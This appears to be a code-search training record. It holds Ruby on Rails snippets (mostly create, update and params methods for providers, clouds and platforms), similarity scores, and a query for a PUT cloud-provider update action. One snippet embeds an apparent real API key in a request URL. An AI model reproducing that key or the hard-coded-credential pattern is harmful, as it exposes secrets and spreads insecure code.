"def create\n @provider_payment = ProviderPayment.new(provider_payment_params)\n\n respond_to do |format|\n if @provider_payment.save\n @provider_payment.provider.update(status: @provider_payment.provider.set_status)\n\n format.html { redirect_to provider_path(@provider_payment.provider), notice: 'Provider payment was successfully created.' }\n format.json { render :show, status: :created, location: @provider_payment }\n else\n format.html { render :new }\n format.json { render json: @provider_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def find_or_create_provider!(attrs)\n provider = Provider.find_by(name: attrs[:name])\n if provider.blank?\n provider = Provider.create!(\n name: attrs[:name],\n firm_agfs_supplier_number: attrs[:firm_agfs_supplier_number],\n api_key: attrs[:api_key],\n provider_type: attrs[:provider_type],\n vat_registered: attrs[:vat_registered],\n roles: attrs[:roles],\n lgfs_supplier_numbers: attrs[:lgfs_supplier_numbers] || []\n )\n end\n provider\n end",
"def providify\n newparam(:provider)\n nil\n end",
"def create\n @providerable, @name = find_polymorphic\n @provider = @providerable.provider_insurances.build(params[:provider_insurance])\n @provider.created_user = current_user.login_name\n @all_insurance_company = InsuranceCompany.all\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to polymorphic_path([@providerable, @provider]), notice: 'Provider insurance was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cloud = Cloud.new(cloud_params)\n @cloud.user_id = session[:user_id]\n respond_to do |format|\n if @cloud.save\n format.html { redirect_to @cloud, notice: 'Cloud was successfully created.' }\n format.json { render :show, status: :created, location: @cloud }\n else\n format.html { render :new }\n format.json { render json: @cloud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:name,\n loans_attributes: [:id, :name, :principle, :interest,\n :months_remaining, :payment, :_destroy])\n end",
"def destroy\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n @cloud_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to cloud_providers_url }\n format.json { head :no_content }\n end\n end",
"def create\n @platform = Platform.new(platform_params)\n respond_to do |format|\n if @platform.save\n format.html { redirect_to manage_platforms_path, notice: 'platform was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:user_id, :alias, :rfc, :razon_social, :direccion, :encargado, :telefono_encargado, :correo_encargado, :codigo_proveedor)\n end",
"def providers(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::Providers,\n parameters, invocation_options)\n end",
"def service_provider_params\n params.require(:service_provider).permit(:rate_cents, :currency, :name)\n end",
"def create\n @register_financeiro_provider = Register::Financeiro::Provider.new(register_financeiro_provider_params)\n\n respond_to do |format|\n if @register_financeiro_provider.save\n format.html { redirect_to @register_financeiro_provider, notice: 'Fornecedor Cadastrado com Sucesso!' }\n format.json { render :show, status: :created, location: @register_financeiro_provider }\n else\n format.html { render :new }\n format.json { render json: @register_financeiro_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end",
"def service_provider_params\n params.require(:service_provider).permit(:name, :name_abreviation, :contact_email, :contact_name)\n end",
"def create\n @providers_branch = Providers::Branch.new(providers_branch_params)\n\n respond_to do |format|\n if @providers_branch.save\n format.html { redirect_to providers_branches_path, notice: 'Branch was successfully created.' }\n format.json { redirect_to providers_branches_path, status: :created, location: @providers_branch }\n else\n format.html { render :new }\n format.json { render json: @providers_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cloud }\n end\n end",
"def payment_provider_params\n params.require(:payment_provider).permit(:label, :connected, :provider_type, :api_key)\n end",
"def aws_platform_params\n params.require(:aws_platform).permit(:PLATFORM_NO, :HOST, :PORT, :SECURE, :EUCA, :VPC, :REGION, :AVAILABILITY_ZONE, :VPC_ID)\n end",
"def get_providers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PricesApi.get_providers ...'\n end\n # resource path\n local_var_path = '/v1/providers'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Providers')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PricesApi#get_providers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @platform = Platform.new(platform_params)\n\n respond_to do |format|\n if @platform.save\n format.html { redirect_to :back, notice: 'Platform was successfully created.' }\n format.json { render action: 'show', status: :created, location: @platform }\n else\n format.html { render action: 'new' }\n format.json { render json: @platform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def update\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n\n respond_to do |format|\n if @cloud_provider.update_attributes(params[:cloud_provider])\n format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def spAdd\n provider_name = $prompt.ask('Provider Name:')\n provider_phone = $prompt.ask('Provider Phone Number:')\n $all_sp.push(ServiceProvider.new(provider_name, provider_phone, [], {}, []))\n successPrint()\n end",
"def create\n @pdk = Pdk.new(pdk_params)\n\n respond_to do |format|\n if @pdk.save\n format.html { redirect_to @pdk, notice: 'Pdk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pdk }\n else\n format.html { render action: 'new' }\n format.json { render json: @pdk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @platform_account = PlatformAccount.new(platform_account_params)\n\n respond_to do |format|\n if @platform_account.save\n format.html { redirect_to @platform_account, notice: 'Platform account was successfully created.' }\n format.json { render :show, status: :created, location: @platform_account }\n else\n format.html { render :new }\n format.json { render json: @platform_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_parks_from_api\n url = \"https://developer.nps.gov/api/v1/parks?limit=500&api_key=GhGhpL8DrRdsEAwfu0Mn4gXuhgkdnhVnrEnNfmRx\"\n resp = RestClient.get(url)\n json_hash = JSON.parse(resp)\n park_codes = []\n\n json_hash.each do |data_key, value|\n if data_key[\"data\"]\n value.each do |hash_keys|\n Park.create(park_name: hash_keys[\"fullName\"], park_code: hash_keys[\"parkCode\"])\n \n end\n end\n end\n\nend",
"def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend",
"def providers_get_providers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProvidersApi.providers_get_providers ...\"\n end\n # resource path\n local_var_path = \"/api/Providers\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ProviderListItemPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProvidersApi#providers_get_providers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def providers\n url = url_with_api_version(@base_url, 'providers')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end"
] |
[
"0.6890394",
"0.6824008",
"0.6767965",
"0.6686018",
"0.6652364",
"0.65973735",
"0.6441565",
"0.64218587",
"0.6353372",
"0.6349242",
"0.62817836",
"0.6260438",
"0.6253456",
"0.62531996",
"0.62073165",
"0.618063",
"0.61667556",
"0.6144824",
"0.61415887",
"0.6120747",
"0.6056748",
"0.6040276",
"0.59906703",
"0.5925979",
"0.5918943",
"0.5893883",
"0.584947",
"0.58178765",
"0.5799371",
"0.579754",
"0.5730027",
"0.57262534",
"0.5724646",
"0.57046854",
"0.56910974",
"0.5685981",
"0.5663918",
"0.5662023",
"0.56407154",
"0.56243753",
"0.56071144",
"0.56007737",
"0.5592577",
"0.5581636",
"0.55809546",
"0.55799836",
"0.5559969",
"0.55493337",
"0.55452317",
"0.55437803",
"0.55437803",
"0.55432135",
"0.5540016",
"0.5539529",
"0.5539529",
"0.5539529",
"0.5539529",
"0.5530888",
"0.5526978",
"0.5495816",
"0.54945016",
"0.54929775",
"0.54885834",
"0.54327726",
"0.54118305",
"0.54100454",
"0.5402927",
"0.5402834",
"0.5395662",
"0.5393778",
"0.5387479",
"0.53699994",
"0.5348654",
"0.5312956",
"0.52838445",
"0.52818745",
"0.5281081",
"0.5273737",
"0.5266786",
"0.525895",
"0.52549183",
"0.5254514",
"0.5252458",
"0.52252537",
"0.5208657",
"0.5191882",
"0.5183383",
"0.51598144",
"0.51563",
"0.5152195",
"0.51448107",
"0.5137912",
"0.5131325",
"0.51150686",
"0.5112138",
"0.511034",
"0.5109127",
"0.5106008",
"0.5102693",
"0.5099469"
] |
0.67938256
|
2
|
PUT /cloud_providers/1 PUT /cloud_providers/1.json
|
def update
@cloud_provider = current_user.cloud_providers.find(params[:id])
respond_to do |format|
if @cloud_provider.update_attributes(params[:cloud_provider])
format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_provider!(provider, provider_info = {}, access = {})\n Api::Request.new do |request|\n request[:access] = access\n request[:method] = :PUT\n request[:path] = \"/mgmt/{{client_id}}/storages/#{provider}\"\n request[:request_body] = provider_info\n end.execute!\n\n end",
"def update\n @provider = Provider.find(params[:id])\n\n if @provider.update(provider_params)\n head :no_content\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end",
"def update\n @provider = current_company.providers.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: \"Provider was successfully updated.\" }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to provider_readme_url(@provider), notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_v1_provider_operation\n @v1_provider_operation = V1::ProviderOperation.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @v1_provider_operation.update(v1_provider_operation_params)\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_provider_operation }\n else\n format.html { render :edit }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @manage_provider.update(manage_provider_params)\n flash[:success] = '添加成功'\n else\n flash[:error] = '修改失败'\n end\n redirect_to '/manage/providers'\n end",
"def update\n respond_to do |format|\n if @service_provider.update(service_provider_params)\n format.html { redirect_to @service_provider, notice: \"Service provider was successfully updated.\" }\n format.json { render :show, status: :ok, location: @service_provider }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @service_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @cloud_provider = current_user.cloud_providers.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to(@provider, :notice => 'Provider was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :resp=> \"ok\" }}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n format.json { render :json => { :resp=> \"error\" }}\n end\n end\n end",
"def update!(**args)\n @providers = args[:providers] if args.key?(:providers)\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @cloud = Cloud.find(params[:id])\n\n respond_to do |format|\n if @cloud.update_attributes(params[:cloud])\n format.html { redirect_to @cloud, :notice => 'Cloud was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cloud.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @info_provider.update(info_provider_params)\n format.html { redirect_to @info_provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @info_provider }\n else\n format.html { render :edit }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @provider_key = args[:provider_key] if args.key?(:provider_key)\n @provider_type = args[:provider_type] if args.key?(:provider_type)\n end",
"def create\n @cloud_provider = params[:cloud_provider][:type].constantize.new(params[:cloud_provider])\n respond_to do |format|\n begin\n @cloud_provider.save\n format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully created.' }\n format.json { render json: @cloud_provider, status: :created, location: @cloud_provider }\n rescue\n flash[:error] = \"Check the credentials again\"\n format.html { render action: \"new\" }\n format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider = Provider.find(params[:id])\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n @providers = Provider.all\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n logger.debug(@provider)\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @provider_info = args[:provider_info] if args.key?(:provider_info)\n @provider_key = args[:provider_key] if args.key?(:provider_key)\n @provider_type = args[:provider_type] if args.key?(:provider_type)\n end",
"def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Fornecedor atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cloud_resource\n @cloud_resource = CloudResource.find(params[:id])\n end",
"def destroy\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n @cloud_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to cloud_providers_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @providerservice.update(providerservice_params)\n format.html { redirect_to @providerservice, notice: 'Providerservice was successfully updated.' }\n format.json { render :show, status: :ok, location: @providerservice }\n else\n format.html { render :edit }\n format.json { render json: @providerservice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider = Order.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cloud_resource.update(cloud_resource_params)\n format.html { redirect_to @cloud_resource, notice: 'Cloud resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @cloud_resource }\n else\n format.html { render :edit }\n format.json { render json: @cloud_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cloud_params\n params.require(:cloud).permit(:api, :url, :ip_addresses, :port, :token, :shared_secret, :bucket, :platform_id)\n end",
"def put!\n request! :put\n end",
"def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to providers_path, notice: 'As informacoes foram atualizadas com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n respond_to do |format|\n if @cloud.update(cloud_params)\n format.html { redirect_to @cloud, notice: 'Cloud was successfully updated.' }\n format.json { render :show, status: :ok, location: @cloud }\n else\n format.html { render :edit }\n format.json { render json: @cloud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cloud.update(cloud_params)\n format.html { redirect_to @cloud, notice: 'Cloud was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cloud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n flash[:notice] = 'Provider was successfully updated.'\n format.html { redirect_to(@provider) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend",
"def add_provider!(provider, provider_info = {}, access = {})\n Api::Request.new do |request|\n request[:access] = access\n request[:method] = :POST\n request[:path] = \"/mgmt/{{client_id}}/storages/#{provider}\"\n request[:request_body] = provider_info\n end.execute!\n\n end",
"def update!(**args)\n @cmek_cloud_resource_name = args[:cmek_cloud_resource_name] if args.key?(:cmek_cloud_resource_name)\n @cmek_cloud_resource_type = args[:cmek_cloud_resource_type] if args.key?(:cmek_cloud_resource_type)\n @cmek_service_name = args[:cmek_service_name] if args.key?(:cmek_service_name)\n end",
"def put(name,&block)\n build_resource(name, :put, &block)\n end",
"def show\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def update\n respond_to do |format|\n if @supplier_provider.update(supplier_provider_params)\n format.html { redirect_to @supplier_provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @supplier_provider }\n else\n format.html { render :edit }\n format.json { render json: @supplier_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @provider.update(check_params)\n #@provider = Provider.find(params[:id])\n #if @provider.update_attributes(params[:provider])\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно обновлен.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def crud_put(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n put '/'+resource_name+'/:'+primary_key_name do\n service = settings.send(service_name)\n\n # Must Exist\n return 404 unless service.exists_by_primary_key?(params[primary_key_name.to_sym])\n\n # Get The Data\n begin\n data = JSON.parse(request.body.read)\n rescue Exception => e\n return 422\n end\n\n # Valid Update?\n return 422 unless service.valid_update?(data)\n\n # Do Update\n record = service.update_by_primary_key(params[primary_key_name.to_sym],data)\n\n # Other Error\n return 500 if record.nil?\n\n # Return new Region\n JSON.fast_generate record\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n respond_to do |format|\n if @aws_platform.update(aws_platform_params)\n format.html { redirect_to @aws_platform, notice: 'Aws platform was successfully updated.' }\n format.json { render :show, status: :ok, location: @aws_platform }\n else\n format.html { render :edit }\n format.json { render json: @aws_platform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_method\n :http_put\n end",
"def create_method\n :http_put\n end",
"def set_cloud\n @cloud = Cloud.find(params[:id])\n end",
"def set_cloud\n @cloud = Cloud.find(params[:id])\n end",
"def update\n @email_service_provider = EmailServiceProvider.find(params[:id])\n\n respond_to do |format|\n if @email_service_provider.update_attributes(params[:email_service_provider])\n format.html { redirect_to @email_service_provider, notice: 'Email service provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_service_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @v1_provider_operation = V1::ProviderOperation.new(v1_provider_operation_params)\n\n respond_to do |format|\n if @v1_provider_operation.save\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully created.' }\n format.json { render :show, status: :created, location: @v1_provider_operation }\n else\n format.html { render :new }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oauth_remote_service_provider = OauthRemoteServiceProvider.find(params[:id])\n\n respond_to do |format|\n if @oauth_remote_service_provider.update_attributes(params[:oauth_remote_service_provider])\n flash[:notice] = 'OauthRemoteServiceProvider was successfully updated.'\n format.html { redirect_to(@oauth_remote_service_provider) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oauth_remote_service_provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def upload_provider(org, box, version, provider, file, access_token, options)\n account = VagrantCloud::Account.new(\n custom_server: api_server_url,\n access_token: access_token\n )\n\n # Include size check on file and disable direct if over 5G\n if options[:direct]\n fsize = File.stat(file).size\n if fsize > (5 * Vagrant::Util::Numeric::GIGABYTE)\n box_size = Vagrant::Util::Numeric.bytes_to_string(fsize)\n @env.ui.warn(I18n.t(\"cloud_command.provider.direct_disable\", size: box_size))\n options[:direct] = false\n end\n end\n\n with_provider(account: account, org: org, box: box, version: version, provider: provider) do |p|\n p.upload(direct: options[:direct]) do |upload_url|\n m = options[:direct] ? :put : :put\n uploader = Vagrant::Util::Uploader.new(upload_url, file, ui: @env.ui, method: m)\n ui = Vagrant::UI::Prefixed.new(@env.ui, \"cloud\")\n ui.output(I18n.t(\"cloud_command.provider.upload\",\n org: org, box_name: box, version: version, provider: provider))\n ui.info(\"Upload File: #{file}\")\n uploader.upload!\n ui.success(I18n.t(\"cloud_command.provider.upload_success\",\n org: org, box_name: box, version: version, provider: provider))\n end\n 0\n end\n rescue Vagrant::Errors::UploaderError, VagrantCloud::Error => e\n @env.ui.error(I18n.t(\"cloud_command.errors.provider.upload_fail\",\n provider: provider, org: org, box_name: box, version: version))\n @env.ui.error(e.message)\n 1\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @data_provider = DataProvider.find(params[:id])\n\n respond_to do |format|\n if @data_provider.update_attributes(params[:data_provider])\n format.html { redirect_to @data_provider, notice: 'Data provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_provider\r\n @provider = Provider.find(params[:id])\r\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def update\n @title = t('view.providers.edit_title')\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to @provider, notice: t('view.providers.correctly_updated') }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n rescue ActiveRecord::StaleObjectError\n redirect_to edit_provider_url(@provider), alert: t('view.providers.stale_object_error')\n end",
"def update!(**args)\n @provider = args[:provider] if args.key?(:provider)\n @provider_uri = args[:provider_uri] if args.key?(:provider_uri)\n end",
"def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end",
"def cloud_params\n params.require(:cloud).permit(:name, :provider, :azenabled, :azclientid, :azappkey, :aztenantid, :azsubscriptionid, :azobjectid, :azdefaultresourcegroup, :azdefaultkeyvault, :gcpenabled, :gcpdefaultregion, :gcpdefaultzone, :gcpproject, :gcpjsonkey, :k8senabled, :k8sdockerregistryaccount, :k8skubeconfig, :k8snamespaces, :k8scontext, :k8sdockerregistries, :drenabled, :draddress, :drusername, :drpassword, :dremail, :drrepositories, :osenabled, :osauthurl, :osusername, :ospassword, :osprojectname, :osdomainname, :osregions, :osinsecure)\n end",
"def create_method\n :put_json\n end",
"def put(*args, &block)\n self.client.put *args\n end",
"def update\n current_account.update(provider_params, without_protection: true)\n respond_with current_account\n end",
"def update\n @provider_provider_type.user_updated_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.update(provider_provider_type_params)\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.update')}\n format.json { render :show, status: :ok, location: @provider_provider_type }\n else\n format.html { render :edit }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_service_provider\n @service_provider = ServiceProvider.find(params[:id])\n end",
"def set_service_provider\n @service_provider = ServiceProvider.find(params[:id])\n end",
"def set_provider_service\n @provider_service = ProviderService.find(params[:id])\n end",
"def put(*args)\n request, adapter = request_and_adapter_from(args)\n\n with_adapter :put, request, adapter do |adapter|\n yield adapter.client if block_given?\n adapter.put request\n end\n end",
"def update!(**args)\n @cloud_endpoints = args[:cloud_endpoints] if args.key?(:cloud_endpoints)\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def set_provider\n @provider = Provider.find(params[:id])\n end",
"def create\n @provider = Provider.new(params[:provider])\n @provider.active = true\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\r\n params.require(:provider).permit(:app_id, :name)\r\n end",
"def update\n respond_to do |format|\n if @healthcare_provider.update(healthcare_provider_params)\n format.html { redirect_to @healthcare_provider, notice: 'Healthcare provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @healthcare_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_providerservice\n @providerservice = Providerservice.find(params[:id])\n end",
